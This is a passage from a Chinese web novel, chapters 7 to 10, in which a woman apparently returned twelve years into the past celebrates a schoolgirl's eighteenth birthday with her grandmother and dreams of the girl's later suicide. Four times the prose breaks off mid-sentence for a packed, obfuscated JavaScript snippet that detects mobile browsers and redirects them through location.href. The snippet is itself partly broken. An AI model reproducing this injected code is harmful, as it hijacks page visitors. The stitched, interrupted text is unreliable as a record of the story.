店面到专车距离不远,快走到时,崔璇不知怎么,忽然抬头看了眼。 头顶看不到天空和雨水,被一把倾斜的伞面,遮得严严实实。 赵明月的伞,是朝她偏的。 7. 第7章 崔璇还以为赵明月会跟自己一起坐在后排,可赵明月扶奶奶坐在后面,自己提着蛋糕去前面坐了。 车辆开始行驶,崔璇没忍住偷看一眼赵明月,只看到个微微倾斜的侧脸,顺着赵明月目光往斜上方看,视线猝不及防在后视镜中交碰。 崔璇慌张低头,带着自己都不明所以的心虚。 一路上崔璇没怎么说话,倒是赵明月跟奶奶聊了不少。 她在学校附近小区租的房,离现在的蛋糕店也不远,没多久就到了地方。崔璇下车,很自觉地站到赵明月伞下,伸手接蛋糕。 赵明月侧眸看她一眼,把手里的蛋糕递过去,走在前面引路,刷卡进电梯。 司机帮忙把东西放到门口就离开了,赵明月在门口输密码,先拉开厚重的门,啪的一声打开灯,屋内一下亮堂起来。 玄关处摆着鞋架,地面一尘不染,崔璇跟崔奶奶站在门外,一时都不敢进去。 赵明月在门外地毯上蹭蹭鞋底,进门又蹭蹭地毯,把门口的箩筐往里搬,顺便回头招呼她们:“蹭两下鞋底就行,快进来吧。” 崔璇跟奶奶有些拘谨地照做,在地毯上蹭了很久,把鞋底蹭干净,才小心翼翼,试探着踩上地面。 “怎么样,装修不错吧?”赵明月放下包袱,打开屋内暖风,笑眯眯道:“都是我一件件摆进来的软装,收拾小半年才弄成这样,墙上挂画也是我自己画的,好不好看?” “好看。” 担心自己贫瘠的夸赞会让赵明月感到敷衍不真诚,崔璇涨红了脸,又憋出一句: “是我见过最好看的……真的。” “有眼光,”赵明月笑笑,接走崔璇手里的蛋糕放到桌子上,状似好奇:“你要是住在这里的话?是不是会往窗户或者门边挂个风铃?” 崔璇目光游走在房间内,不自觉顺着赵明月的话想了一会儿,又赶紧摇摇脑袋。 她怎么可能会住在这里呢?看太多,想太多不可能发生的,不可能实现的事,只会让人觉得失落。 朝赵明月笑笑,崔璇小声回答:“我不懂装修的,但现在这样看着就很好了。” 知道这话题再谈下去崔璇会不自在,赵明月适时停止,打开冰箱看了看转移话题:“咱们晚上吃什么?我这还剩不少食材,就是可惜不会做……” 去国外前赵明月从不亲自下厨,吃不惯外国菜才开始学着做饭。后来还债那两年都是凑合着吃饭,跟崔璇结婚后厨艺倒是突飞猛进。 她可以包揽做饭这事,但对崔奶奶来说能做点什么,或许才会更加心安。 崔奶奶打起精神,连忙开口:“俺会!俺去洗菜,你们先歇,绿色儿那包里头是好吃嘞,小福去跟同学分分……” 崔璇应了一声,连忙去箩筐里找。 崔奶奶的箩筐装得满满,蔬菜水果零食鸡蛋玉米面,甚至还有一只鸡两条鱼。 凑到崔璇身边蹲下,赵明月问:“小福是你乳名?还是你们那都这么叫?” 崔璇有些不好意思,把脸往下埋埋,含糊不清应了一声:“是小名。” 赵明月还是第一次知道崔璇有个这样的小名。 父母不管、奶奶去世,崔璇还有联系的亲人里,赵明月唯一接触过的只有崔璇表姐。 她们见面不多,从对方口中探寻到的只是些笼统过去。 崔璇也极少和她提及那些曾经,更没跟她说过还有这样一个乳名。 如果这是梦,如果这是她的梦,她会知道这些吗?她怎么能知道这些?还是说,这一切都是她的幻想? 静默片刻,赵明月回神,接着开口:“哪个芙?泡芙的芙吗?” 虽然没吃过,但崔璇在蛋糕店看到过“酸奶泡芙”“奶油泡芙”的标签,应该是塞了奶油或酸奶夹心的小鸡蛋糕。 “不是的,是福气的福,享福的福,”崔璇认认真真回答,语气还有点小得意:“是奶奶给我起的名字哦。” 别人都说她是灾星时,只有奶奶叫她小福。 小福,享福。 赵明月垂眸,在心底默念几遍。 崔奶奶大抵是希望崔璇能享福,可崔璇从小到大吃了不知多少苦头,后来赚了钱又搭进她身上,那短暂又苦涩的一生,哪里享到了什么福? 赵明月的沉默并没引来崔璇的注意,她正在认真翻看零食,沙琪玛、雪饼、馍馍片、豆干,还有露露、果冻、棒棒糖、红枣奶……零零散散的,日期不一。 认认真真挑出一些用袋子装好,双手递到赵明月面前。 赵明月问:“怎么还得精挑细选一下?” 崔璇讷讷,只把剩下那些往绿色袋子里塞,她不藏还好,这样遮遮掩掩反倒让赵明月好奇。 赵明月伸手:“我不想吃这些,我就想吃你藏起来的。” 崔璇捂着袋子不放手,试图劝说赵明月:“都一样,真的,都一样的……” 奶奶在厨房,崔璇抢不过她,也不敢跟她抢,赵明月轻轻松松把绿袋子扯过来,从里边抓了把零食,仔细瞅瞅。 看着一切正常,没什么特别的。 没瞧出什么名堂,赵明月正要把东西放回去,忽然想到什么,拿起一袋奶,找到保质期和生产日期看。 原来已经过期很久了。 她想说这已经过期很久,不能再喝,但抬眸对上崔璇紧张的目光,就知道崔璇不是不明白。 “这不都一样吗?你藏什么?”把东西放回去,赵明月起身,顺手把崔璇也拉起来:“走了,我们去帮奶奶打打下手。” 崔奶奶在村里都是烧柴做饭,不会用燃气灶,但经由赵明月简单说说,很快就学会了。 相对于做菜,处理食材更费功夫,即便三人一起动手,等四菜一汤摆上桌,也已经到晚上九点。 崔奶奶给崔璇戴生日帽,赵明月往蛋糕上插蜡烛。 崔璇静静望着那块精致漂亮的昂贵蛋糕,看头发花白正点蜡烛的奶奶,看站在开关前准备关灯的赵明月。 她安静又认真地看着,像是要把这一幕牢牢印在眼中,刻进心底。 客厅骤然暗下去,暖黄色烛光轻轻闪烁,在她们脸上投下摇晃的影。 在崔奶奶的笑脸下,在赵明月轻哼的生日歌中,崔璇双手合十,闭上眼睛出声许愿: “希望明年生日,还可以吃到奶奶做的饭!” 崔奶奶把崔璇额前脸侧的碎发拂到一边,压在生日帽下:“过今天就是大人了,咋还许这小愿望?” “我就想要这个,”崔璇脸颊贴着奶奶满是茧子的粗糙手掌,轻轻蹭一下:“变成大人,奶奶也要一直陪着我。” 崔奶奶连连应好,笑着叫她吹蜡烛。 蜡烛摇晃着扑灭,眼前骤然陷入一片黑暗,此情此景,让赵明月不可遏制地想起从前。 崔璇生日、骨折、奶奶出事,都曾在一天接踵而至。 奶奶在手术室挺到第二天,没留下只言片语就撒手人寰。崔璇没能过成十八岁生日, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550704|204324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从那之后也不再庆生。 和崔璇刚结婚那年,赵明月无知无觉错过了崔璇生日,第二年只是准备礼物,第三年她们关系逐渐亲近…那时距离崔奶奶去世已经过去九年,赵明月没有准备蛋糕,但亲手做了长寿面为崔璇庆生。 庆生这样的事,自己做来总觉孤单寂寥,家人朋友陪同便会热闹许多,从前崔璇没人陪着,后来她到了,总该把这件事放在心上。 现在想来,那场庆生给崔璇带去的兴许不是欢欣,而是旧痛重提。 即便当时的崔璇笑着道谢,笑着收下礼物,笑着配合她就一根蜡烛许愿。 ‘希望每天都能见到明月’ 那时的崔璇闭着眼睛轻声许愿,吹灭蜡烛。烛火在空中熄灭,却在赵明月心底燎原千里。 希望可以每天见到明月。 想每天见的明月,是天上明月,还是她赵明月呢? 赵明月当时以为崔璇在说隐晦情话,满脑子赫然窃喜,浑然不知此明月非彼明月,不是天上那轮月亮,也不是她赵明月。 再后来,最后来。 她从乡下小屋带回烧到昏厥的崔璇,想了很久,终于下定决心。 协议婚姻的最后一年。 那年崔璇生日在三月下,距离协议结束只剩最后十三天,距离崔璇去世只剩十三天,距离如今,也是十三天。 她给崔璇过的最后、最糟糕的一个生日,伪装那个赵明月而被崔璇戳穿否定,甚至言说要提前离婚的那个生日。 她和崔璇爆发了结婚以来第一次、也是最后一次激烈争吵。吵起来,话赶话,越说越重,已经顾不得思虑。 她说崔璇幻想的那个赵明月根本不存在,她说崔璇的脚是那天瘸的,奶奶是那天死的,拼命幻想也改变不了现况分毫…她说崔璇要是想不明白,就去奶奶坟前清醒清醒。 那巴掌甩来时手还是抖的,力气么,不算大。 那是崔璇第一次对她动手。 也是赵明月这辈子第一次挨耳光。 崔璇让她走。 话说出口赵明月就开始后悔,挨了巴掌才清醒,滚出去吹吹冷风,彻底反应过来自己刚刚说了多混账的话。 回头想找崔璇道歉,隔门却听见崔璇在哭。 崔璇极少,极少在她面前掉眼泪,崔璇总是成熟优雅理智的,好像一切都能游刃有余地解决,她从没听崔璇这样撕心裂肺地哭过。 赵明月在门外徘徊一夜,第二天崔璇照常去公司,推门看见外面缩着的她,神色平静,甚至还朝她点头。 “谢谢你给我过生日。” 赵明月不知道崔璇是以何种心情说出的那句话,却明白一切都完了。 那颗伤痕累累,被她给予了粉碎性的、致命一击的心,从那一刻起,彻底闭紧了曾向她敞开缝隙的心门。 如今已是隔世,才恍然明白,当初一同被击碎、被隔绝的,兴许不止是崔璇的心,还有那道扭曲的,支撑她活下去的执念。 “谢谢你给我过生日。” 耳边声音几乎与印象中重叠,截然不同,又如此相似,让赵明月一时恍惚了几秒。 她回神,目光对上崔璇亮晶晶的眼睛,视线下移,看到崔璇双手捧着的一大块蛋糕:“给你!赵明月。” “崔璇……” 迎着崔璇略带疑惑的目光,她咽下了方才想说的话,转而道: “十八岁生日快乐。” 还有…… 对不起。 8. 第8章 如果这是场关于遗憾,关于心结的梦,或许在她说完那句“生日快乐”,在奶奶陪着崔璇过完生日后,就该醒来了。 可窗外雨仍旧在下,时钟仍在滴答,时间缓慢又坚定,在她走过又未踏及的旅程上推行。 吃过晚饭,赵明月不得不去想接下来更实际的问题。 这房子两室一厅一厨一卫,还带个小些的书房,其中一间卧室被赵明月改成画室,上下子母床放在书房,能睡觉的就是卧室和书房。 她有很多问题想问崔璇,如果这是场不知什么时候会醒来的梦,她更想借此再多看看崔璇。 可崔璇兴许更想跟崔奶奶一起住,一起说话……哦,说什么兴许,什么更想呢。 不论未来还是现在,崔璇想见、想交谈的人,从来都不是她。 崔奶奶说什么也不肯去主卧休息,赵明月只好收拾一下书房,让她们去睡书房那张上下铺的子母床。 下铺不小,两人也睡得下,崔璇帮奶奶脱了厚衣服,关灯上床,听奶奶絮絮叨叨问她过得怎么样。 崔璇一句句回着谎话,问到后边奶奶渐渐安静下来,崔璇还以为奶奶是困了,可没过一会,奶奶摸索着握住她的手,往她掌心里塞了个东西。 崔璇轻轻捏了捏,捏出来,是布包裹着的钱。 崔璇半起身,把钱推回去:“奶奶,我不用……” 崔奶奶轻拍崔璇胳膊:“咋不用呢,你看你现在瘦的……这钱你自个拿着,在学校多吃点饭,等下回学校空出来位置,咱就去学校住。” 喉头像是被堵住,崔璇忽然说不出话。 大伯说大伯母跟他离婚把钱都卷走了,让奶奶又给了“借住生活费”,这事是崔璇过年跟奶奶提起想住校时才知道的。 那时候奶奶问她,是不是在大伯家受委屈了,要拿钱送她去学校住。 崔璇只能摇头,骗奶奶说学校现在没宿舍位置,想住也得等高三。 崔奶奶絮絮叮嘱:“饭就在学校吃,当他家是个床,钱不够跟奶奶说……” “奶奶,真的不用,”崔璇说:“学校那边说我情况特殊,可以给我减住宿学杂费,下学期就让我免费住校,还管饭。” 崔奶奶惊了:“真嘞?” 崔璇嗯了一声,为了让奶奶相信,她又加一句:“钱你攒好,大学学费还要三四千呢。” 高一那时她就想找勤工俭学岗位,但那岗位是给贫困生留的,而她不符合贫困生标准。 父母健全,都在外地打工,虽然不往家里寄钱,但收入显然低不到标准线,证明材料开不下来,流程走不了,名额就不能给她。 崔璇觉得这是公平的。 她只是有点难过,但也还好。 学校外面有很多饭馆,走读可以出校门,有个很好的老板愿意招她,时薪十块还管饭。 住宿后就不能出校门赚钱了,但她算过住宿花销,早上三个小包子一块八,中午素菜三块米饭五毛,晚上四个小包子两块四,一天十块花不完。 一个月饭费三百,水电费、生活用品、再加上学习用品和买卷子训练册的钱,五百也够的。 这样算下来,高三一年生活费大概要五千,算上住宿费和各种学杂费,七千应该够。这学期和暑假打工攒够钱,下个学期就能住宿,踏踏实实学习。 高考完的假期有两三个月呢,够她打工攒下学费,而且听说大学有奖学金助学金,钱还很多…… 她要好好学习。 好好学习才有好出路。 好好学习就有好出路。 等奶奶睡着,崔璇仔细给奶奶掖好被角,小心翼翼下床,拿起搭在床架上的外套,蹑手蹑脚推门出去。 轻轻碰上门,崔璇下意识往旁边赵明月卧室看了眼,门缝底下黑漆漆一片,没有灯光透出来。 她松了口气,循着小夜灯的暗淡光芒走进卫生间。 把外套和赵明月放在脏衣篓里的校服裤子放进洗手池,崔璇蹲下身,探头去摸底下格子里的洗衣液。 指尖刚触碰到冰凉的塑料壳,周围乍然一亮。 崔璇一惊,下意识抬头的瞬间才反应过来不好,可脑袋撞上的不是坚硬棱角,反倒像堵软墙。 与想象中截然不同的发展让她一时有些愣怔,崔璇茫然地蹲在原地,几秒后才恍然回神,匆匆低头退出来。 赵明月轻甩两下左手,在崔璇抬头前把手揣进兜里。 撑在洗手台面的右手稍稍蜷起,随意散开未曾束起的长发,从肩后滑到脸侧几缕,在空中轻飘飘地荡。 崔璇忐忑抬头时,垂下的发尾恰好扫到她脸上。 很痒。 可崔璇不敢动,她心跳得飞快,羞愧自责,对赵明月尚未做出的反应惶惶不安。 赵明月看着被吓傻了似的,一动不动的崔璇。 “……撞疼了?” 过度紧张的状态下,崔璇根本没反应过来赵明月的语气并非追责。 扶在膝盖上的手指不自觉攥紧,崔璇仰着脑袋,结结巴巴道歉:“对,对不起……” 赵明月心想崔璇怎么已读乱回呢,喉咙里轻哼一声,顺着崔璇的话往下说:“对不起有用的话还要补偿做什么?” 崔璇怔了一下,随后认真点头:“你说得对,你还帮了我很多,我应该…你想要什么呢?” 她一直都知道,被帮助是要付出比接受帮助更大的代价,才能偿还的。 所以被打时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550705|204324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她其实希望没人帮她,被辱骂,挨顿打就能揭过的事,她习惯了,可以接受。但如果被人救了欠下人情,就不得不思考做到什么地步,才够偿还那份恩情。 可后来买蛋糕时的窘迫,无处可去的两难,都是她自己无法解决,迫切需要帮助的问题。 赵明月帮她解决了那些麻烦,所以她心甘情愿想要报答。 这对话仿佛又回到几个小时之前,赵明月笑了下,轻声道:“我想要什么都可以吗?” 崔璇认真点头:“我还可以帮你跑腿,买东西,拿快递,打扫卫生,接水,排队占位置,送东西……” 赵明月:“这些我好像都不需要,怎么办?” 崔璇严肃拧眉,认真思考了几秒:“那你需要什么呢?只要我有的,能做到的,都可以。” 赵明月故意问:“钱也可以?” 崔璇点头:“但我现在身上没有钱,我的钱在…我最快也要明天中午才能给你,你需要多少呢?” 赵明月知道钱对现在的崔璇有多重要,所以才故意那么问,本意是想崔璇不要随便许下“什么都可以”那样的承诺。 可崔璇就这样不假思索地答应了,甚至还傻乎乎问她需要多少。 赵明月沉默几息,轻声问:“你对谁都是这样吗?” 崔璇有些茫然:“嗯?” “只要别人帮你一点,你就准备好奉献一切,成倍去偿还?” 从前倾尽所有替她还债,如今仍旧愿意付出一切作为报答,公平不顾,得失不论。 世上怎么会有这么傻的人呢?这么傻的人,怎么会是从前的崔璇呢? 赵明月想不明白。 “我没有那样,”崔璇小声道:“只是我有的钱很少,我能做的,又只有那些……我不知道应该怎么报答你。” 她拥有的东西太少了,和无人帮助会带来的后果相比,即便付出所有也值得。 更何况……崔璇有些羞愧地想,她能感觉到赵明月是个很好的人,应该不会故意讨要让她为难的报答。 赵明月没有回复,只朝她伸出一只手:“一直蹲着干什么?起来。” 崔璇:“你还没有……” 赵明月收手靠上身后墙壁,垂眸看她,声音听不出情绪:“这么急着问,是想早点报答偿还,好跟我两清?” “不是的,我……” 感觉赵明月好像生气了,崔璇急急起身,有点发麻的腿脚还没站稳,眼前忽然一阵发黑,身子一晃骤然向前倾倒。 赵明月把人抱了个满怀,手掌下意识箍住崔璇后背,碰到一片嶙峋瘦骨。 沉默两秒,赵明月轻叹一口气,语气和缓:“不知道怎么报答,也不能投怀送抱呀。” 9. 第9章 “对…对不起……” 崔璇回过神立马想退出去,可赵明月没松手,她犹豫着轻轻推了一下赵明月,没推动。 推到第二下,赵明月还不松手,按在后背的手掌甚至顺着脊骨下滑,环在她腰间掐了一把。 崔璇:! 在崔璇推第三下之前,赵明月终于松手,扯了个借口:“我就是量量你腰围。” 崔璇捂着裤腰往后退了两步,脸还红着:“为什么…为什么要量腰围?” “好奇不行吗?” 后来崔璇的衣服都是她在做,对于崔璇的尺寸,没人比她更了解。可测量过那么多次,没有哪一次瘦到如今这种地步,手贴上去都能摸到骨骼的棘突。 赵明月把左手揣进兜里:“瘦得两只手都快能圈住,吃饭时还不知道多吃点,裤腰都挂不住了吧。” 崔璇视线瞥过赵明月手指,小声道:“是你,你手太长了。” 赵明月人高手也长,测什么肯定都比别人轻松些。 “是吗?”赵明月抬起右手,五指微张轻弯端详,心想以前的崔璇好像也没说过她手长。 太深了…… 倒是说过。 蜷起手指背到身后,赵明月靠上墙面:“别找借口,明明是你瘦得过分,饭吃得太少还不好好休息,这么下去身体能好吗?” 崔璇垂着脑袋听,并不反驳。 她不说话,赵明月也没有就此罢休,拎起洗手池里的外套和校服裤子:“觉也不好好睡,大半夜摸黑来给我手洗衣服?” 崔璇绞着手指,闷闷嗯一声。 这外套淋了雨,还被她穿过,校服裤子更是因为她溅到了泥,她怎么能置之不理呢? 赵明月把外套丢回脏衣篓里:“我有备用校服,有其他外套,况且家里又不是没洗衣机,再攒几件一起丢进洗衣机就是了,哪里用得到你手洗?赶紧回去睡觉吧。” 崔璇问:“你不睡吗?” 赵明月笑:“你还管我睡不睡觉呢?” 崔璇被她赶到书房门前,握着微凉的房门把手,纠结犹豫再三,还是转身面对赵明月: “刚刚……我撞到了你的手,有没有受伤?是不是要处理一下?” 这么点小伤再放会儿印子都要消了,哪里还需要处理? 赵明月刚要说不用,想起崔璇身上的伤,到嘴边的拒绝拐了个弯: “当然……用,药箱应该在我卧室床头柜,去我卧室?” 崔璇连忙点头,跟在赵明月身后进了卧室。 赵明月摸索着开灯,灯光亮起,映出陌生又熟悉的卧室。 目光寸寸扫过,这十几年前住过的居所,如今看着已经有些陌生了。 赵明月把药箱拎出来打开,顺势靠坐在床边,伸出遭殃的左手。 被磕那一下当时是挺疼,这么会儿过去只剩一点红印和一道破皮,血都没流。 得亏崔璇治疗及时,不然再晚几分钟红印消下去,她再把皮一撕,岂不是没得治了? 崔璇目光定格在赵明月的手上,定格几秒,安安静静转身去看药箱。 药箱不大,却装了不少东西,崔璇盯着那一堆熟悉的不熟悉的药品,目光逐渐有些发直。 她处理过伤口,但擦破皮该怎么处理呢?涂药膏吗?还是直接贴创可贴? 看崔璇蹲在床头柜边纠结,赵明月直接伸手从药箱里拿出一管药膏。 “手拿来。” 还在纠结是不是更应该涂碘伏的崔璇下意识照做,以为赵明月会把药膏给她,可赵明月抓住她的手后,却把她的袖口推了上去。 “不是给你拿了套睡衣吗?怎么还穿这衣服睡觉?不难受?” 崔璇摇头,胳膊上的伤口暴露在空气中,有些冷,她想把手缩回来,更凉的药膏先一步落在伤口上。 凉意模糊了痛感,崔璇愈发茫然。 赵明月在给她涂药。 赵明月怎么在给她涂药呢? 赵明月怎么会记得她有伤,还能想起给她涂药呢? 两只胳膊的伤都被仔细涂过药,冰冰凉凉的药膏敷在皮肤上,凉到近乎发辣。 “还有哪里有伤?” 崔璇回神,抿唇摇头。 赵明月垂眸看她几秒,把药膏塞进崔璇手里:“剩下的一会自己回屋涂吧。” 崔璇呆呆噢了一声,起身正要走,却被赵明月直抵到衣柜边的长腿一拦,将去路堵住: “这就要走了?还记不记得你原本要干什么?” 崔璇后知后觉想起来正事,有些不好意思:“对,对不起……我记起来了。” 看一眼赵明月的手,又有些迟疑:“应该用碘伏吗?还是涂药膏?还是,还是……贴创可贴呢?” 赵明月把手伸出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550706|204324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃两下:“痛,总得先吹一吹吧。” 崔璇乖乖点头,想了一下,半蹲下去,脑袋凑到赵明月手边轻轻呼气。 原本不碰已经不疼,让风这么一吹一激,伤口处又泛起点细密的疼,又疼又痒。 崔璇吹了会儿,吹得脑子有点缺氧发懵,没忍住捂嘴打了个哈欠,打到一半回神抬眸,正对上赵明月的目光。 像被监工抓包的苦力,崔璇赶紧又把脑袋低下去,继续往赵明月手上吹气。 赵明月心头轻叹,把手缩回来:“好啦,回去睡觉吧。” 崔璇:“没事的,我还不困,没有很困……” 赵明月:“嗯嗯,是我困了。” 崔璇有些不好意思地噢了一声:“那,那我给你涂一点药膏或者碘伏?” 赵明月从盒子里捡了个创可贴:“给我贴个这个就行。” 崔璇乖乖接过,撕开创可贴在赵明月手上比划了一下,有些迟疑。 破皮不严重,但却有些长,横着贴会粘到破皮的地方,竖着贴,恐怕要贴上一排。 赵明月看她不动,手腕向上一抬,右手再一盖,把创可贴贴严实了,自己往下缩进铺好的被子里。 “好了,你快去睡觉吧。” 崔璇认真点头,帮赵明月掖一下被角。赵明月没继续说话,眼睛却盯着崔璇不知道在想什么。 那股莫名其妙的,觉得对方像是在难过的感觉又来了。 崔璇迟疑着问:“你……你不开心吗?” “开心。”赵明月说。 见到崔璇很开心,陪崔璇过生日开心,可现在她有点害怕。 赵明月没有说,她只轻声催促:“去休息吧,我跟你一起睡,崔璇。” 怕打扰赵明月休息,崔璇不敢再多说什么,走到门口摸上开关,才发现自己手里还攥着那管药膏。 “崔璇。” 赵明月放低的声音传进耳朵:“明天得是你把我叫醒的……你要来叫醒我。” 崔璇怔了一下,手指不经意碰到开关,啪嗒一声。 灯光骤灭。 赵明月陷入失明般的寂静黑暗,心头蓦然涌上一股不安,手掌撑在床侧就要起身。 忽然听见一声“好”。 关门的细微声响,伴着崔璇略带犹豫的声音,踏踏实实传入耳朵:“赵明月,晚安。” 不是幻听。 10. 第10章 崔璇死在2030年4月3。 赵明月从没想过,自己竟能回到十二年前,见到十八岁的崔璇。 一个还没有瘸腿,还没有成为孤家寡人,还没有被逼成神经病的崔璇。 赵明月有很多话想问,可最终什么都没问出口,只简简单单陪她过了个生日。 崔璇跟奶奶进房间后,赵明月没回卧室。她不想,也不敢去睡觉。 她怕这只是一场梦,梦醒后睁眼,只有冰冷的墓碑、深埋地底的骨灰。她怕醒来后记得这一切,更怕什么都不记得。 十二年前的世界对她来说已然陌生,即便回到曾经住过的地方,也仍旧觉得虚幻。唯一能让她真正触碰到情绪,感知世界真实的,只有崔璇。 仿佛只要崔璇在她身边,情绪,世界,一切就都显得如此真实,仿佛她真的穿过十二年光阴,从未来的过去,抵达这拥有无限可能的现在。 一片黑暗中,赵明月在床上翻来覆去,反复摩擦着手背上的创可贴。 这是崔璇给她贴上的。 确实,是崔璇,贴在她手上的。 淡淡药味儿在鼻尖弥散,指尖属于创可贴无纺布的真实触感,让她紧绷的神经逐渐松缓,后知后觉的疲累席卷弥漫。 她实在太累,太久没有好好休息了,竭力保持的清醒不知从什么时候开始变得模糊,可每当意识快要滑入混沌的刹那,又一脚踩空般骤然惊醒。 打开床头灯,看见室内布局,触碰到手上的创可贴,才能慢慢平复惊惶心跳。 几乎过去半夜,眼皮越来越重,她才在疲惫中彻底合上眼,意识往深沉的,无边无际的黑暗里堕。 仿佛只有短短一瞬,也仿佛漫长的一世轮转,剥夺了时间与感知的虚无后,她听见了风声。 树枝在呼啸的风中摇晃,裹着接连不断的、下雨般的滴答声,推打着门窗,她听见撕心裂肺的哭声从身后传来。 赵明月猛然回头,一扇熟悉的,紧闭的门就在眼前。 她记得这一幕,她记得这一天。 这是崔璇的生日,是她和崔璇第一次、也是最后一次争吵,是她伤崔璇最深最狠的一次。 这天过后,崔璇的生命也进入了倒计时。 用力攥进把手,门被她推拽得哐当作响,也仍旧纹丝不动。 离开门冲到窗边,隔着透明玻璃,赵明月看见一道熟悉身影,佝偻着身体跪在地上,紧攥胸前衣襟。 ‘崔璇’ ‘崔璇’ 赵明月用力捶打窗户,呼喊声却如同被捂在罐里,磨掉嘶哑与惊惧,沉闷地回响。 她一下一下、无知无觉、拼尽全力地砸着窗户,数息后,窗面终于哗啦一声碎裂。 顾不得多想,赵明月从破碎的窗爬进去,跌跌撞撞往崔璇身边跑,即将靠近的刹那,地面轰然坍塌。 赵明月一脚踏空,霎时失重之后,猛然跌在地面。 湿润冰凉的液体在掌下涌动,她低头,看见一地猩红血水。 方才被哭声盖住的滴答愈发清晰,如在耳边。 赵明月神情僵硬,恍惚抬头,又见一扇紧闭的门,源源不断的血,正从门底缝隙缓缓淌出。 滴答。 滴答。 赵明月手脚发软地爬起,用力扑撞向浴室门,数次后浴室门终于被撞开,她扑倒在地,手掌按进一地血水里。 溅起的血落在她脸上,唇上,眼中,将视线晕成一片血红。 滴答。 滴答。 滴血声如同时间秒表,一滴一声,一声一滴地,重重敲在她心头,敲得赵明月心脏震颤,思绪迟顿。 胸膛堆满的情绪逸散四肢,却仿佛被掏空般冰凉空荡。她忘了呼吸,空气好像变得很重,寒意穿透骨缝,她几乎能听到抬头时颈椎一节节的,僵硬闷响。 她的目光一寸寸,上移。 血水不间断顺着瓷面滑落,冷白浴缸里血水满溢。 有人闭目躺在血池中,头歪在一侧,面白如纸,毫无生气。 透过模糊的血红视线,赵明月终于看清了那张脸。 如坠冰窟。 * 被人从梦中叫醒,睁眼看到崔璇时,赵明月甚至分不清自己究竟是醒来,还是又陷入了另一重梦境。 崔璇看赵明月终于睁眼,悄悄舒了口气,正要直起身,忽被赵明月一把攥住手,用力一扯。 她脚下踉跄向前扑倒,幸亏手臂撑住了床侧,否则险些就要压在赵明月身上。 “赵…赵明月……” 赵明月不语,她的手止不住地颤抖,按着崔璇手臂,目光急切地在崔璇腕上扫视。 皮肤平整没有割口,掌下皮肤微凉,却有细弱脉搏在指下跳动。 她抬头,盯着崔璇,瘦弱的,稚嫩的,苍白,却也鲜活的,崔璇。 梦中惊惧缓缓淡去,余韵却还激荡着心跳,久久不消。 崔璇不知道赵明月是不是有起床气,所以现在看起来才这么凶:“对…对不起吵醒你,可饭好了……” 赵明月缓了十几秒,紧绷的精神才慢慢平复,松开崔璇,她撑着床侧屈膝坐起来:“你…怎么没上药?” “已经没事啦,”崔璇收回手,不太自在地将袖口扯下去,往门口走:“饭热好了,你快起来吃饭吧,我,我去给你盛饭!” 赵明月的目光跟着她,直到崔璇走到门外,直到房门被关上,她才垂下目光。 直愣愣呆坐了几分钟,赵明月才慢吞吞捋了把乱糟糟的长发,后知后觉自己出了一脑门的汗。 低头掐了把自己胳膊,在真实清晰的痛感中,赵明月缓缓吐出一口长长的气,脑袋低下去抵住膝盖,在逐渐被呼吸打暖的柔软被子里,忍不住笑起来。 她睡过一觉,醒了,崔璇还在。 崔璇还在。 崔璇还在啊! 明明没休息好,却有股莫名的精神支撑着她,让赵明月感觉不到半点困意,甚至有些亢奋。 换好衣服出去,才发现客厅被打扫过,洗手间的镜子、洗手台、垃圾桶,目之所及都被收拾得干干净净。 钟表显示还不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550707|204324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六点,要收拾成这样也不知道人得几点起,又睡了几小时。 等赵明月洗漱完坐到餐桌旁,崔奶奶把刚剥好的白煮蛋放进她面前小碗,热情招呼:“赶紧趁热吃,别误了上学。” “还早呢,不急,这儿离学校近得很,不会迟到。” 赵明月扫了眼桌面,估摸着崔奶奶只煮了两个鸡蛋,还都给她了,就把盛鸡蛋的小碗往前一推:“我不爱吃煮鸡蛋,奶奶你跟崔璇吃吧。” 